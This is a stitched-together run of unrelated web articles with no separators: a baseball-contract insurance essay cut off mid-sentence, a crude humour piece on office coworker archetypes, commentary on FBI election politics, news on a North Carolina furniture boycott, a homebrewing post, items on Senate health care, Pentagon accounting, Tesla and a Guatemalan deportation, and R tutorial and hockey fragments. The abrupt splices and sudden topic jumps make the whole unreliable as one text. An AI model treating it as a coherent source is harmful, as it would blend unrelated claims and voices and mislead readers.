However, as Scherzer noted to Tom Verducci over the weekend, he actually hasn’t taken on nearly as much risk as we might have thought. Instead, he sold the risk to an insurance company for what was presumably a better rate than the one the Tigers offered. And I fully expect this to become a trend, with third-party insurance agencies stepping in to correct a market imbalance in Major League Baseball.
As I noted back in February, the outcomes on recent long-term extensions have skewed very heavily in the favor of Major League teams. There have been a handful of pre-free agent contracts where the player made out better than they would have had they not signed the deal, but most of the time, the players have ended up leaving money on the table. And often, quite a lot of it.
The argument in favor of these deals — and one that is trotted out every single time a player signs a team-friendly extension — is that the marginal utility of the first few million to a player dwarf the utility of all subsequent millions. By guaranteeing themselves $10 or $15 or $20 million in future income, the player no longer has to worry about finding a post-baseball career, and can live comfortably without fear of an injury or other factor derailing their career before they get to arbitration or free agency. This argument has merit, as the value of a dollar certainly has some diminishing returns once you get into the kinds of paychecks that Major League players make. The hundredth million isn’t worth the same as the first million.
But that argument fails to capture the nuances of the risk/return market, and ignores the fact that MLB teams themselves are not the only party willing to buy risk. The options for a player are simply not limited to taking a long-term deal from an MLB team or personally carrying all of their own risk until free agency. And as long as Major League teams are making offers to players that put too low of a price on the risk that the player is buying, players like Scherzer are going to be incentivized to look for secondary risk-purchasing markets. And that’s what insurance companies specialize in.
We might not think of it in these terms, but each of us sell personal risk to insurance companies every year. Auto insurance is required by law, but odds are, you probably have more than the minimum coverage on your vehicle, so you have willingly sold some of your risk of getting into a car accident for some percentage of your monthly income. The same is true with homeowner’s or rental insurance, health insurance, life insurance, and even pet insurance. As human beings, we generally have a desire for stability over the unknown, and we’re willing to trade some of our income to hedge against disaster events.
Large corporations fill the market with products that essentially transfer risk from an individual to an investor, and these companies are very good at pricing risk so that the aggregate of their premiums collected return a higher rate than the policy claims they pay out. From an investor perspective, there is little practical difference to selling someone insurance versus buying stock in a company or a fund; they are essentially looking for a return on their investment that outpaces market averages or brings a lower rate of risk for that same level of return. There are billions of dollars being invested every day, and everyone is after the same goal; the best possible return for a given level of risk.
Of late, Major League teams have been buying the risk of future injury or performance decline at severely discounted rates, and that kind of market inefficiency begs for competition. The prices that players have been selling their risk for have to look very appealing for risk-seeking investors, and third-party insurance companies are drawn to any market where risk and reward are not in balance.
Since Scherzer is the most recent player to publicly note that he self-insured, let’s look at how the risk-pricing calculations might work. Let’s create an outcome probability matrix based on Scherzer’s profile.
Outcome Occurance Percentage Expected Future Contract Stays healthy, performs better than 2013 15% $200,000,000 Stays healthy, performs same as 2013 20% $190,000,000 Stays healthy, performs worse than 2013 25% $160,000,000 Stays healthy, performs much worse than 2013 10% $100,000,000 Minor Injury, performs well when healthy 10% $150,000,000 Minor injury, doesn’t perform as well 10% $80,000,000 Major injury, value tanks 10% $30,000,000 Weighted Average 100% $144,000,000
Since this is more of an object lesson than a break-down of what Scherzer should sell his risk for, these numbers are made-up, but I think they have some basis in reality. And, not coincidentally, the weighted average comes out to $144 million, the amount that Scherzer turned down from the Tigers; these are the kinds of outcomes you can get when you make up the numbers. We could say that perhaps the Tigers calculations looked something like this, even if they didn’t lay it out exactly this way.
This matrix gives Scherzer a 70% chance of staying healthy all season — with various outcomes relative to his 2013 performance within that range — and then a 30% chance of getting injured, with different levels of injuries and performances requiring differently sized discounts. I set his base level pay in the worst case scenario outcome at $30 million, as even if Scherzer’s elbow exploded tomorrow, there’d still be a long line of teams lining up to pay for his rehab as long as they got a few discounted years after he got back from surgery. Short of death, Scherzer isn’t really at any risk of not getting paid some significant amount of money this winter. The only question is how much he’s going to get paid.
So let’s say that Scherzer wanted to sell the risk of the negative outcomes occurring, guaranteeing himself a minimum payout of $100 million, with the insurance company agreeing to make up the difference between the $100 million and the amount he is guaranteed in his next deal. Based on this matrix, there’s a 10 percent chance that the insurance company would have to pay him $70 million, a 10% chance that the company would have to pay him $20 million, and an 80% chance that they wouldn’t have to pay anything. Thus, a $100 million guarantee would be a break-even proposition for the insurance company with a $9 million premium.
Of course, there’s no incentive for the insurance company to just break-even, as they’d need a significant return on their money in order to invest in Max Scherzer instead of just parking their money the market. At a 15% return on their money, they’d ask for $10.35 million. So, using our totally made up numbers, Scherzer could agree to pay just over $10 million out of the total value of his next contract and have no risk of earning less than $100 million. The policy would reduce his top-ending potential from $200 million down to $190 million, but as everyone always argues, what’s the practical difference between $190 and $200 million anyway? This way, Scherzer gets to test free agency, pick where he wants to spend the rest of his career, and have no concern that an injury is going to cost him the monstrous payout he’s in line for.
Obviously, the risk profile and future expected dollars are going to be different for every player, but policies like this are almost certainly cheaper than taking the kinds of long-term deals that MLB teams have been offering of late. Players who have not yet made enough money to support their family for the rest of their lives should be |
but rather, simply because you thought you ought to. Or were told you ought to. Either way, you went for the sake of going, not to get something specific out of the experience. But that doesn’t necessarily mean you’re dumb. In fact, it may mean quite the opposite — you either recognized that it was the best next step, or you heeded the wisdom of some sage who told you as much. That was a good call. Go you! It’s not your fault the college degree is the new high school diploma. What it does mean, however, is that since graduating you have very likely landed yourself a crushingly mediocre office job, which in no way represents who you are or what you love, and slowly saps the last vestiges of your soul out through the tears you pretend not to cry in your pathetically hollow moments of solitude.
If you don’t relate to the above, awesome. I am genuinely happy for you. Either you are completely oblivious or you have at this point in your life discovered and begun to pursue your passion. If it’s the latter take a quick second and hug yourself mentally. Fuck yeah. Do not stop, no matter how daunting or perilous the path to your goal may seem. It’s just like KISS said:
[I]t’s never too late to work nine-to-five
You can take a stand, or you can compromise
You can work real hard or just fantasize
But you don’t start livin’ till you realize…
And then there’s some stuff about God and Rock and Roll that detracts from the song’s relevance. Glorious.
However, If you do relate, or can empathize, or have spent any time at all as a vapid cubicle drone for whatever reason, you have probably, at one point or another, considered something akin to committing Hara-kiri as a suitable alternative to engaging in your run-of-the-mill conversation with some or all of your co-workers. If you haven’t, beware: You may well be one of the water cooler archetypes I’m about to describe.
What do the seemingly inane things your co-workers say to you actually say about them? Are they simply making the time go with some pleasant conversation, or are you unwittingly involved in a sick, twisted, sociopathic indulgence? You decide:
The Ranter
You’re sitting at your desk and a co-worker ambles up to you. He’s got that lonely-yet-hopeful glint in his eye which signifies his hallowed quest for validation and prompts you to muster your resolve and resign yourself to at least 5 minutes of uncomfortable fake laughter interspersed with tepid conversation buoys like “definitely” and “I know, right?” He begins to talk at you about some inane office phenomena, all the while laughing at his own jokes and gaining momentum off his own steam — effectively shooting load after load of word-jizz onto your face in a tsunami of masturbatory, one-sided dialogue. This is The Ranter.
The flocks of cubicle sheep all love The Ranter: He seems to have it all figured out — he can humorously and coherently stab at the idiosyncrasies of the office, he’s friendly, and probably decent at his job. They look up to him. He represents the hope that they too may one day rise above the muddled office politics and achieve his clarity of mind. However, what The Ranter actually represents is the pinnacle of wasted potential: An affective wit and insight floating pointlessly along in the ether of office purgatory, most likely due to cowardice in the face of the prospect of trying and failing at something truly meaningful to him.
When necessary, only engage The Ranter in groups of at least 3 if at all possible. His attention will be diluted, providing a window out of which you can hopefully climb unmolested.
The Old-Timer
The Old Timer is a real toughie. He’s in that aged sweet spot that’s old enough to be completely irrelevant in almost every conceivable way, but not yet so old that he can’t still be minimally competent enough to maintain employment. But, there’s no denying this man is a class-act through and through: Always in a suit, greets you the exact same way every morning (and apologizes if he forgets to), still says “cap” to describe hats… He’d make the perfect grandfather: You’d sit with him on his porch while he complains about how things are becoming “a bit too urban” for his liking as he whittles different types of nuts out of wood with the ivory-handled pocket knife he once used on the Viet Cong. But he isn’t your well meaning, mildly racist grand-pappy. No. He’s your co-worker.
This man is a master of the “any plans for the weekend?” and “how ’bout this weather?” elevator dialogues. When he unleashes upon you these water cooler nukes, you can’t help but be taken aback at the nuanced precision of his delivery — awestruck at the self-assured manner that could only result from decade upon decade of uncomfortable elevator rides with countless employees, both past and present. As Bruce Lee once said, “I fear not the man who has practiced 10,000 kicks once, but the man who has practiced one kick 10,000 times.”
Standard office tech (outdated computers) has far outdistanced The Old Timer. But doggedly he persists, insisting that he can work with “the machine.” Depending on your role in the office, you may just pity him from afar, snickering at his more feeble attempts to perform simple tasks, or sometimes maybe even lending him a hand when you notice that he’s typed a web URL into a Microsoft Word document and is insisting his machine is broken when it doesn’t “go.” Or you may find yourself working with him, perpetually unsure as to whether or not you should suggest he retire, as you continually find yourself doing most or all of his work due to the fact that it requires knowledge of how to save a file in multiple formats, and you don’t have the two weeks it would take to give him a crash course. “Lesson one: Pushing the power button.”
If you see The Old Timer coming your way at the water cooler, just sit back and enjoy the ride. He’s in the driver’s seat, and you should feel safe in his classy-as-fuck hands.
The Neurotic
You can’t help but be worried for The Neurotic. He manically paces about the office with his forehead veins throbbing like he’s just overdosed on Viagra; like his entire body has taken on the characteristic of a massive, pulsating hard-on. He speaks in all-but-incoherent bursts of loosely strung together phonemes, which are more often than not accompanied by flecks of spittle, the frequency of which is directly proportional to the shade of red adorning his face at a given time: The redder the wetter. On a moment to moment basis, you can’t interact with this man without feeling like he’s two seconds away from having an aneurism explode out of his skull and slime you with blood and pus like you’re on some horrifically fucked up version of Nickelodeon’s Wild And Crazy Kids.
If The Neurotic draws near, you’d better already be in crisis mode. Steel yourself for battle, you sorry son of a bitch, for if you’re caught unawares what follows will be an assault on your mental faculties so jarring you’ll come out of it unsure as to whether you’ve spent the last five minutes preparing presentation briefs or frantically running through the minefield bordering Syria and Israel whilst dodging gunfire from both sides.
In all honesty, when it comes to dealing with this crazy bastard, your best bet is to act equally bat-shit insane about whatever project you’re working on at the time of his approach. Bug your eyes, twitch your lips, pull your hair out — whatever it takes. If there’s one thing The Neurotic can appreciate, it’s neurosis.
The Suck Up
The Suck Up is different kinds of unbearable relative to the capacity in which you are employed by your company — there’s a sort of hierarchical chain of butt-fuckery at play here, split into three distinct tiers of interaction: subordinate, peer, and superior. Let’s start with the bottom of the barrel.
Subordinate: Depending on your disposition, this is very likely the most aggravating rung one can be at on The Suck Up ladder of dick-wizardry. The Subordinate, in the eyes of The Suck Up, is nothing more than a means to an end — a mere tool by which he can further demonstrate value in the eyes of his peers and superiors. You are a pet whose loyalty he feels can be bought with the occasional pat on the arm, or mild word of encouragement. Do not be fooled by his congenial bullshit — It’s all a ploy. The Suck Up is the guy who will grin the most shit eating of grins as he loads you up with an enormous last minute project — which in no way fits your job description — on a Friday at closing time, that he can’t do because he has an “important meeting” at the bar around the corner, but still needs to be completed for the boss by Saturday morning at 9 AM. And you’ll do it. You’ll hate yourself for it, but you’ll do it. Because you don’t want to stir up trouble given your relatively low position in the company, and if it doesn’t get done you’d better believe you’re getting blamed for it. Don’t worry though; he’ll be sure to tell you how much he appreciates your “help.”
Peer: As a peer, one must be wary of the The Suck Up. Constant vigilance! as Professor Moody from Harry Potter would say — A fitting analogy, as Moody was a defense against the darks arts professor, and The Suck Up is about as well-versed in the evil art of douche as they come. On a scale of 1 to Bono, he ranks a Mel Gibson. But I digress. A peer relationship with The Suck Up will oftentimes necessitate that you work together. This can be a boon, as The Suck Up wants to make sure all of his–and your–work is as top-notch as possible. But BEWARE: He will take credit for EVERYTHING you do if you give him the opportunity, and your boss has no interest in who did what beyond the initial taking of credit. He’s got more important things to do than arbitrate a semantic squabble about who contacted which client first. The credit goes to he who claims it, and if it isn’t you, you may wake one day to find you’ve slipped from peer to subordinate.
Superior: It seems pretty obvious that being a superior to The Suck Up (or anyone in your company) is the ideal spot to be at. And there’s a lot of room for perspective when it comes to being The Superior: Some superiors may appreciate the “get ahead at all costs” attitude, as they only care about productivity, and The Suck Up is, if anything, productive. These superiors need only worry about dealing with the occasional bout of sycophantic nut-hugging or faux “next steps” wisdom-seeking that come with The Suck Up’s successful completion of a project. Not bad. But many superiors have at some point been, or may actually still be The Suck Up in one form or another… Suckception! While these superiors needn’t deal directly the The Suck Up’s bullshit in any truly aggravating way, depending on the size of and their position in the company, they will have to worry about The Suck Up advancing to peer status or beyond, as they know how the game is played: Lawlessly.
If you find yourself alone at the Water Cooler with The Suck Up, do your best not to lash out in anger. Even though most everyone would understand if you did.
The Ego Maniac
If your office were a video game, this guy would be the final boss. No question. The Ego Maniac, to a large extent, is an aggregate of the negatives of every archetype listed above. He is abhorrent in nearly every facet of human existence:
When approached by The Ego Maniac, bear in mind three things:
1. He does not know your name. Unless you have spent at least 5 years at your company, odds are you haven’t been useful enough to him for the two of you to have interacted enough that he’s had to learn your name for efficiency’s sake. And even that is no guarantee.
2. He could not care less about what you have to say. Every question he asks you is either a springboard off of which he can dive into continued self-indulgence, or an attempt to further solidify his feeling of situational control.
3. He will not hesitate to fire you. Or get you fired, depending on his position in the company, though this attitude usually accompanies the higher ups. He has absolutely zero regard for your personal well being or financial situation, as they do not affect his life in any tangible way. He thinks himself a monarch of your office kingdom. Which makes you a peasant; a mere plebeian, the purpose of whose entire existence is to perform whatever task it is you are assigned. Falter in any way, and you shall be destroyed and replaced.
If The Ego Maniac happens to share the water cooler space with you, do yourself a favor and shut the fuck up. You don’t want to be on his radar screen any more than you have to. If he chooses to speak at you, know that in his eyes you are just a human body, interchangeable with any other.
The Lost Soul
If you are sitting at work reading this article right now, this may be you. Take stock of yourself. Are you happy? Don’t lie, it’s okay to say no. If you’re not happy, are you happy with being unhappy? That answer should be no. And you owe it to yourself to try and right that! Try something fun, find a creative outlet, look for a new job, shake things up because you can! Things don’t need to be so dreary, find some color in your life. Or make some. Yee-haw motivation!
If you are offended by this, or think that I sound bitter, or angry throughout, it’s either because I’m not funny or you have no sense of humor. Either way, I don’t care. I am aware that these archetypes are completely sexist — They are based on my own personal experience, and I fully acknowledge that the gender roles of each could be opposite because women are now empowered and all that nonsense.The last time the internal politics of the Federal Bureau of Investigation got deeply entangled in a presidential election was in 1972, and that election wasn't remotely close. Nonetheless, as depicted vividly in Tim Weiner's book, Enemies, the incumbent Nixon Administration was trying to push out J. Edgar Hoover but were terrified to do so directly, in no small part because Nixon was a lot of big talk about being tough but generally choked when it came time to be tough. Hoover and the FBI had been involved in the larval stages of what would generally be summarized one day as "Watergate," including illegal wiretapping, but Hoover balked at any assignment that seemed to compromise his total control over the Bureau.
For example, after Daniel Ellsberg leaked the Pentagon Papers and then turned himself in, the Nixon people wanted Hoover to investigate Ellsberg preparatory to an indictment under the Espionage Act. Hoover refused. Nixon got pissed, and sent his own people into the fray to, among other things, break into Ellsberg's psychiatrist's office. And, at that point, we were pretty much off to the races as regards to what John Mitchell ultimately would call "the White House horrors."
Getty Images
For the next year, the FBI went into turmoil as Nixon tried to find a way to kick Hoover to the curb. William Sullivan, the FBI official who had helped develop the FBI's COINTELPRO domestic surveillance program, and who, as Weiner reports, was considered at the time to be Hoover's heir apparent, was infuriated at Nixon's meddling and, for the next year, as the White House geared up for re-election, Nixon and Hoover were at knifepoint and the morale in the Bureau tanked badly.
Sullivan and Hoover split when Hoover pulled the plug on COINTELPRO. Hoover was devastated by what he saw as Sullivan's betrayal and he died in May of 1972. Nixon replaced Hoover with a pliable doofus named L. Patrick Gray, who managed to stumble into involvement with the Watergate cover-up. A career FBI man named Mark Felt was passed over in favor of Gray and Felt was not happy. Soon, he was meeting in a parking garage with Bob Woodward of The Washington Post.
Anyway, the recent history of the FBI's involvement with presidential elections is not a promising one.
It's hard to keep up with what's going on. Clearly, there are FBI sources dissatisfied with decisions made not to keep investigating Hillary Rodham Clinton's e-mails and/or the Clinton Foundation. They're talking. There also seem to be FBI sources who are frustrated with what they see as the too-close-by-half relationship of the Donald Trump campaign to Russian oligarchs up to and including Vladimir Putin. They're talking. And there are people completely outraged by the bungling attempts by FBI director James Comey to involve himself so directly in the presidential election, and they're all talking. The FBI, in short, is out of control.
It's hard to know what to believe. Reputable reporters are producing contradictory information by the bucketful, and there's just enough ambiguity in it to make great ammunition for the completely unprincipled and truthless campaign being run by one-half of this election. This has exacerbated distrust within the electorate and, I would suspect, within the FBI itself, which is not something any of us should like to have going on as a new president enters office.
But we know from sad history that electoral politics is one area from which the FBI, and every other institution of the surveillance state, should stay away—or be kept away—at all possible costs, because they can do more damage by accident than any terrorist can do on purpose. Like it or not, and I don't, the FBI is a player in the 2016 presidential election, and the agendas that are roiling it at the moment are as big a part of it as the electoral college or Scottie Nell Hughes.
This is damage that will last.
Update (6:25 PM): Like I said.
Click here to respond to this post on the official Esquire Politics Facebook page.HIGH POINT, N.C. - Furniture retailer Ron Werner usually spends $2 million a year at North Carolina's gargantuan, semiannual furniture market, but he's skipping this week's event.
Werner knows not attending the High Point Market will mean missing an early look at new trends that could get hot later on, translating to big sales for his own business. But he said the state left him little choice when it passed a law last month that critics say discriminates against lesbian, gay, bisexual and transgender people.
North Carolina faces backlash for "anti-discrimination" law
"The state just came out with this nasty and mean-spirited law that provides for state-sanctioned discrimination," he said. "How do we jump on a plane and go to North Carolina? They put up a sign that says, 'Gay? Stay away.' "
Some fear that Werner's decision might start a wave that could damage a tradition of commerce that brings an estimated $5 billion a year in economic activity to North Carolina. About 75,000 buyers and sellers from around the world usually cram into this traditional furniture city of 100,000 every six months for a five-day spend-a-thon. This year, however, the High Point Market's organizers are warning that thousands of attendees could skip the event, which starts Saturday.
The market remains vibrant after 107 years because it's still less expensive for exhibitors than shows in Las Vegas, Dallas or Milan, said T. William Lester, a city and regional planning professor at the University of North Carolina at Chapel Hill who co-authored a 2013 study on the market's economic impact.
But an extended boycott could "whittle away the competitiveness of the built-up advantage that High Point has," Lester said.
Lester noted that furniture purchased from manufacturers within 75 miles of the city accounts for about half of the market's $5 billion economic impact. A 5 percent drop in market sales could translate into a loss of more than $100 million for North Carolina furniture manufacturers, which employ about 14,000 workers.
"These are jobs that are really difficult to grow at new companies and we want to hold onto these manufacturing jobs as much as possible," he said. "These are solid, middle-income jobs for people who don't have an advanced degree."
The state's tourism industry also stands to suffer.
Werner said he canceled a five-day reservation of a four-bedroom private home he'd rented for his five-person team -- at a cost of $2,700 -- and adds he won't be entertaining at the High Point restaurant he has frequented for years.
If only 2,000 of the estimated 58,000 out-of-town market visitors like Werner stay away from High Point, it could mean a loss of about $15 million in lodging, food and other tourism-related spending, Lester said.
N.C. governor signs executive order altering controversial HB2 law
The boycott is one of a number of protests spurred by the new North Carolina law enacted last month, which directs transgender people to use public toilets corresponding to the sex listed on their birth certificate. The law also excludes LGBT people from state anti-discrimination protections, blocks local governments from expanding LGBT protections, and bars all types of workplace discrimination lawsuits from state courts.
Supporters describe the law as a common-sense policy that keeps male sexual molesters from posing as transgender women to filter into female toilets and locker rooms.
Werner, co-owner of three HW Home stores in the Denver area, said instead of the North Carolina market, he'll visit producers in California and attend a smaller furniture market in Las Vegas in July as he shops for furnishings to tempt his customers. He suspects his absence from High Point will be barely missed by furniture-makers, but "there's business that we would have done that is not going to happen."
A fellow boycotter, furniture retailer Claus Ihlemann, said by skipping the market this month, he will miss discovering new vendors to supply Decorum Furniture, his contemporary furniture store in Norfolk, Virginia.
Nonetheless, he said, "I do think in speaking up and speaking your conscience, you're starting a lot of conversations and you're making people think about what is right or wrong."
While dozens of retailers, interior designers and other buyers said they will stay away, no major furniture-makers announced scrapping plans to show off their new products. And of the dozens of manufacturers contacted by The Associated Press, none said they would boycott the market.
Any boycott's effects won't be known until after the event, when registered no-shows are tallied against last-minute drop-ins, High Point Market Authority spokeswoman Ashley Grigg said. Exhibitors don't share sales information that can be compared to previous markets, she said.
Gov. Pat McCrory has downplayed any boycott, the effects of which were also not readily apparent earlier this week as trucks loaded with furnishings began arriving at already-rented and rebuilt exhibitor spaces. Police officers guided arriving truckers to waiting areas until spots opened at loading docks. Movers carried sofas and tables into showrooms. Thousands of carpenters and other tradesmen were swarming to complete displays incorporating the work of sign artists, woodworkers and photographers.
Three blocks from the market center, blue-collar workers streamed into Oscar's Fine Foods for some of the best burgers in town, and furniture companies were calling in big delivery orders for workers who couldn't spare time for lunch.
Debbie Lockhart's father started the restaurant 54 years ago when surrounding manufacturing plants and hosiery mills were humming. Now that furniture is made primarily in Asia, about 60 percent of Lockhart's annual sales come in the two months around each of the year's two market meetings.
"That's how we survive," Lockhart said. "It helps tremendously, because everything's moved out of here."As I haven’t quite received all my equipment for wort creation just yet, I’m going to skip ahead to discuss fermentation and kegging with my new brewery. When I sold my last brewery, my conical fermentor went with it. With my new brewery having a slightly larger batch size capacity I felt it would no longer be suitable for my purposes. While I expect at some point in the future I will own another, albeit larger, conical fermentor, for now I have to do something a bit more economical. You see, all of the tri clamp fittings I equipped my new brewery with made pretty quick work of my budget…
The solution I’ve come up with is to return to using 15.5 gallon sanke kegs for my fermentations, as I used before I owned a conical. When I brew larger batches on my new system I’ll have to use a carboy for the extra volume likely, but this affords me the opportunity to experiment with different yeast and such, so I’m not complaining!
I decided I needed to take my sanke keg fermentation to the next level. The “neck” of a sanke keg is exactly the same size of a 2″ tri clamp fitting… you see where I’m going with this?
I have used a reducing cap to go from the 2″ tri clamp keg neck, to a 1.5″ tri clamp tee. When fermentation is taking place, one side of this tee will be capped while the other will be connected to a blow off tube (as seen above). When I go to dry hop or add some funky organisms to the beer I will just loosen the 2″ tri clamp and remove the whole assembly, do my thing, and reinstall.
For racking into kegs, I have the following set up:
The racking tube depth is adjustable with a compression fitting that has been bored through, and equipped with replaceable silicone o-rings. This way, I don’t need to draw beer from the very bottom of the keg where all of the sediment has settled, as when I previously used a sanke spear for transferring out of sanke keg fermentors. The racking tube itself is a 1/2″ diameter stainless tube. The large diameter here ensures that none of this equipment will be obstructed by hop debris and such. A connection to my CO2 tank will be made to push beer through the racking tube to finally… this monstrosity:
This is how I’ll fill my kegs. The check valves have been removed from the sanke coupler to turn it into a filling head. I have attached a “beer thread” to tri clamp adapter to the liquid side of the filling head. With this I have attached a butterfly valve and a sight glass. Depending on what I see through the sight glass I may choose to close the valve to readjust the racking tube while kegging beer (i.e. CO2 bubbles indicate the racking tube is too high, and heavy trub indicates that the racking tube is too low). It should also make transfers for me a lot less messy as it will eliminate nearly all beer loss when I switch between the serving kegs I will be filling.
For a fraction of the cost of a new conical, I think this will keep me quite happy for a while!Story highlights Republicans are struggling for how to advance health care legislation
Many GOP senators have run on a promise to repeal and replace Obamacare
(CNN) Several members of the Senate Republican leadership said Monday they expect there will be a vote on a health care bill, even if the tense negotiations underway now to find consensus in the Republican conference are unsuccessful and leaders are unable to forge an agreement that can pass.
Sen. John Thune of South Dakota said it is important they try to pass a bill in the next few weeks even if the vote fails.
"I still think in the end there is a huge reason why we have to get to 50 on this," said Thune, the third-ranking GOP leader. "Obviously, we're going to have a vote on this one way or the other. But if we don't pass something and we go into '18, you know, it's on us to try to get this fixed."
Sen. Roy Blunt of Missouri, another GOP leader, was asked about recent downbeat assessments from other Republican senators -- like Richard Burr of North Carolina, who said he didn't think a deal could be reached this year.
"I think the leader is still optimistic about it and we'll see where it goes here in the next few days," Blunt said, referring to Senate Majority Leader Mitch McConnell, who is leading the talks.
Read MoreWith a national debt approaching $17 trillion, Uncle Sam is tightening his belt and looking under the cushions for extra change. But a closer look at his pocket book reveals just how little he knows about where your money is going. Below are a few examples that will make you think twice about Uncle Sam’s accounting skills.
So begins an historical infographic furnished to LU over the transom by a reader who identifies herself only as Merrill. Sit back and enjoy the show (if you are able to keep your breakfast down). Notes and sources follow the graphic.
There’s No Business Like D.O.D. Business (2000)
Trending: You’d never guess from all her crowing, but AOC didn’t come up with the Green New Deal
(From a Government Accounting Office Report): Several major departments are not yet able to produce auditable financial statements on a consistent basis. The most significant … is the Department of Defense (DOD), which represents a large percentage of the government’s assets, liabilities, and net costs, followed by the Forest Service, the FAA, and the IRS. While DOD has made progress and is working hard to correct its financial management systems and internal control weaknesses, it is not yet able to comply with generally accepted accounting principles and pass the test of an independent financial audit. For fiscal year 1999 GAO auditors reported that 21 of 24 major agencies’ financial systems did not comply substantially with federal accounting standards or financial systems and other requirements.
Unsupported Adjustments
By law, each federal agency and department is required as a minimum to balance its books at the close of each fiscal year and to submit audited financial statements. However, both Congress and the White House have continued to appropriate and pay government officials, bureaucrats, and government contractors who plug in dollar amount under the category “unsupported adjustment.” An “unsupported adjustment” is a plug figure for cash and assets that are unaccounted for and/or disbursed with no supporting records or audit trail.
Black Budget
A black budget is a budget that is secretly collected from the overall income of a nation; the budget is kept secret for national security reasons. Bottom line: we may never know exactly how much is spent or how much is missing from a black budget.
Dude, Where’s my $2.3 Trillion (1999)
$2.3 trillion of balances, transactions and adjustments are inadequately documented, according to a 1999 Defense audit. Military money managers made almost $7 trillion in adjustments to their financial ledgers in an attempt to make things add up. Alas, the Pentagon could not show receipts for $2.3 trillion of those changes.
“According to some estimates, we cannot track $2.3 trillion in transactions. We cannot share information from floor to floor in this building because it’s stored on dozens of technological systems that are inaccessible or incompatible.”
— Secretary of Defense Donald H. Rumsfeld 9/10/2001
Tanks, Planes, and Javelin Missile Command Launch Units (2003)
Though Defense has long been notorious for waste, government reports suggest the Pentagon’s money management woes have reached astronomical proportions in 2003. A study by the Defense Department’s inspector general found that the Pentagon couldn’t properly account for more than a trillion dollars in monies spent. A 2003 GAO report found Defense inventory systems so lax that the U.S. Army lost track of 56 airplanes, 32 tanks, and 36 Javelin missile command launch-units.
Cash on a Plane (2004)
Back in 2003, Pentagon officials determined that one giant C-130 Hercules cargo plane could carry $2.4 billion in shrink-wrapped bricks of $100 bills. They sent an initial full planeload of cash, followed by 20 other flights to Iraq. By May 2004 they had sent $12-billion and eventually $20 billion. Despite years of audits and investigations, U.S. Defense officials still cannot say what happened to $6.6 billion of that cash. The missing $6.6 billion may be “the largest theft of funds in national history.”
Contractors Gone Wild (2002-2011)
As much as $60 billion in U.S. funds has been lost to waste and fraud in Iraq and Afghanistan over the past decade through lax oversight of contractors, poor planning and payoffs to warlords and insurgents, an independent panel investigating U.S. wartime spending (Commission on Wartime Contracting ) estimates. At least $31 billion has been lost and the total could be as high as $60 billion. The commission called the estimate “conservative.”
Crude Awakening (2004-2007)
The U.S. Defense Department is unable to properly account for over 95 percent of $9.1 billion in Iraqi oil money tapped by the U.S. for rebuilding the war ravaged nation, according to an audit released Tuesday. The audit found that shoddy record keeping by the Defense Department left the Pentagon unable to fully account for $8.7 billion it withdrew between 2004 and 2007 from a special fund set up by the U.N. Security Council. Of that amount, Pentagon “could not provide documentation to substantiate how it spent $2.6 billion.” The funds are separate from the $53 billion allocated by Congress for rebuilding Iraq.
The Money Tip (2003-2012)
An audit report released in March 2013, two weeks before the tenth anniversary of the U.S. invasion of Iraq, the soon-to-be-defunct Office of the Special Inspector General for Iraq Reconstruction (SIGIR) found that incomplete data and inconsistent cost reporting have made it impossible to track a large portion of the $53 billion the U.S. spent to rebuild Iraq from 2003 through September 30, 2012 – “Nonetheless, based on the 390 audits and inspections and over 600 investigations conducted by SIGIR’s audit, inspection, and investigative staff since 2004, our judgment is that waste would range up to at least 15% of Iraq relief and reconstruction spending or at least $8 billion.”
“No money shall be drawn from the Treasury, but in consequence of appropriations made by law; and a regular statement and account of receipts and expenditures of all public money shall be published from time to time.”
— US Constitution, Article I, Section 9
For your convenience, you may leave commments below using either the Spot.IM commenting system or the Facebook commenting system. If Spot.IM is not appearing for you, please disable AdBlock to leave a comment.Two key components of Elon Musk's empire are under pressure, and some analysts don't see relief in sight anytime soon.
Shares of SolarCity and Tesla Motors, both co-founded by Musk, have taken hits recently. Tesla, once a darling of Wall Street, is down more than 16 percent in the past month alone despite a warm reception for its Model 3. Meanwhile, SolarCity was walloped this week after quarterly earnings fell short of market estimates.
UBS auto analyst Colin Langan, who has a "sell" rating on the Tesla, thinks the luxury automaker will be facing some stiff competition in the next few years from Mercedes, Porsche and Audi. BMW is also pushing to get a luxury electric sedan on the road by 2021.
For those reasons, Langan believes Tesla is overvalued. He also takes issue with the company's aggressive production target of 500,000 cars by the end of 2018. Tesla own estimates for production were bullish. It cited demand for the Model 3, its mass-market car expected to hit in 2017.
"That's a very aggressive target, even for any established automaker, so I think that's very tough to achieve and that's going to put the stock at risk," he said in a recent interview with CNBC's "Power Lunch."
"And there's a question of can they actually continue to grow, given they already have actually pretty good share in the high-end luxury sedan segment."Santos Lopez Alonzo, 64, a former soldier during Guatemala's civil war, was deported from the United States to Guatemala on Wednesday where he is facing murder charges related to a massacre of 160 villagers in 1982. Photo courtesy Guatemala National Civil Police
Santos Lopez Alonzo, 64, a former soldier during Guatemala's civil war, was deported from the United States to Guatemala on Wednesday where he is facing murder charges related to a massacre of 160 villagers in 1982. Photo courtesy Guatemala National Civil Police
GUATEMALA CITY, Aug. 11 (UPI) -- The United States deported a Guatemalan man accused of helping facilitate the massacre of 160 villagers as a solider in Guatemala's civil war in the 1980s.
Guatemalan prosecutors say 64-year-old Santos Lopez Alonzo served in an elite army unit that carried out a massacre in 1982. Lopez Alonzo has denied the charges, saying he guarded women and children during the massacre, and killed no one.
In the massacre, a squad of elite soldiers was deployed to search for missing weapons in a village, but the group rounded up villagers and beat them to death before throwing their bodies into a well.
Three other members of the unit Lopez Alonzo is accused of belonging to are serving prison sentences. Two are imprisoned in the United States for immigration crimes and one was deported to Guatemala, where he is serving a 6,000-year sentence.
Lopez Alonzo was arrested in the United States in 2010. He fought deportation for years but a federal appeals court in July refused his request to remain in the United States.
The United Nations estimates more than 250,000 civilians were killed or disappeared during Guatemala's 36-year civil war. A U.N. commission in 1999 concluded that Guatemalan army and state security agents were responsible for over 90 percent of the killings.Start an R session a load the iris example data set by typing data(iris). Show the data by typing iris. The data contains 50 samples of three types of Iris flowers, measured along four variables. It’s a classic.
Warning some online tutorials recommend using attach, this is not advisable. attach has the side effect of altering the search path and this can easily lead to the wrong object of a particular name being found. You can use with instead for convenience sometimes.
Exercises
Check the type of |
. The coach made sure to throw some subtle shade in the direction of Alex Ovechkin.
“Tough to explain the loss, of course, why scored so little. Players who score so many goals for their clubs, like Alex Ovechkin who scored 40 goals for his club [didn’t score]… Right now I cannot explain that.”
